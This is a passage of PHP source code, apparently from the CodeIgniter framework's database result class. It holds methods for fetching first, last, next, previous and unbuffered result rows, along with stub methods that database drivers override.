} return; } if ($key !== '' && $value !== NULL) { $this->row_data[$key] = $value; } } // -------------------------------------------------------------------- /** * Returns a single result row - custom object version * * @param int $n * @param string $type * @return object */ public function custom_row_object($n, $type) { isset($this->custom_result_object[$type]) OR $this->custom_result_object[$type] = $this->custom_result_object($type); if (count($this->custom_result_object[$type]) === 0) { return NULL; } if ($n !== $this->current_row && isset($this->custom_result_object[$type][$n])) { $this->current_row = $n; } return $this->custom_result_object[$type][$this->current_row]; } // -------------------------------------------------------------------- /** * Returns a single result row - object version * * @param int $n * @return object */ public function row_object($n = 0) { $result = $this->result_object(); if (count($result) === 0) { return NULL; } if ($n !== $this->current_row && isset($result[$n])) { $this->current_row = $n; } return $result[$this->current_row]; } // -------------------------------------------------------------------- /** * Returns a single result row - array version * * @param int $n * @return array */ public function row_array($n = 0) { $result = $this->result_array(); if (count($result) === 0) { return NULL; } if ($n !== $this->current_row && isset($result[$n])) { $this->current_row = $n; } return $result[$this->current_row]; } // -------------------------------------------------------------------- /** * Returns the "first" row * * @param string $type * @return mixed */ public function first_row($type = 'object') { $result = $this->result($type); return (count($result) === 0) ? NULL : $result[0]; } // -------------------------------------------------------------------- /** * Returns the "last" row * * @param string $type * @return mixed */ public function last_row($type = 'object') { $result = $this->result($type); return (count($result) === 0) ? NULL : $result[count($result) - 1]; } // -------------------------------------------------------------------- /** * Returns the "next" row * * @param string $type * @return mixed */ public function next_row($type = 'object') { $result = $this->result($type); if (count($result) === 0) { return NULL; } return isset($result[$this->current_row + 1]) ? $result[++$this->current_row] : NULL; } // -------------------------------------------------------------------- /** * Returns the "previous" row * * @param string $type * @return mixed */ public function previous_row($type = 'object') { $result = $this->result($type); if (count($result) === 0) { return NULL; } if (isset($result[$this->current_row - 1])) { --$this->current_row; } return $result[$this->current_row]; } // -------------------------------------------------------------------- /** * Returns an unbuffered row and move pointer to next row * * @param string $type 'array', 'object' or a custom class name * @return mixed */ public function unbuffered_row($type = 'object') { if ($type === 'array') { return $this->_fetch_assoc(); } elseif ($type === 'object') { return $this->_fetch_object(); } return $this->_fetch_object($type); } // -------------------------------------------------------------------- /** * The following methods are normally overloaded by the identically named * methods in the platform-specific driver -- except when query caching * is used. When caching is enabled we do not load the other driver. * These functions are primarily here to prevent undefined function errors * when a cached result object is in use. They are not otherwise fully * operational due to the unavailability of the database resource IDs with * cached results. */ // -------------------------------------------------------------------- /** * Number of fields in the result set * * Overridden by driver result classes. * * @return int */ public function num_fields() { return 0; } // -------------------------------------------------------------------- /** * Fetch Field Names * * Generates an array of column names. * * Overridden by driver result classes. * * @return array */ public function list_fields() { return array(); } // -------------------------------------------------------------------- /** * Field data * * Generates an array of objects containing field meta-data. * * Overridden by driver result classes. * * @return array */ public function field_data() { return array(); } // -------------------------------------------------------------------- /** * Free the result * * Overridden by driver result classes. * * @return void */ public function free_result() { $this->result_id = FALSE; } // -------------------------------------------------------------------- /** * Data Seek * * Moves the internal pointer to the desired offset. We call * this internally before fetching results to make sure the * result set starts at zero. * * Overridden by driver result classes. * * @param int $n * @return bool */ public function data_seek($n = 0) { return FALSE; } // -------------------------------------------------------------------- /** * Result - associative array * * Returns the result set as an array. * * Overridden by driver result classes. * * @return array */ protected function _fetch_assoc() { return array(); } // -------------------------------------------------------------------- /** * Result - object * * Returns the result set as an object. * * Overridden by driver result classes. * * @param string $class_name * @return object */ protected function _fetch_object($class_name = 'stdClass') { return new $class_name(); } }
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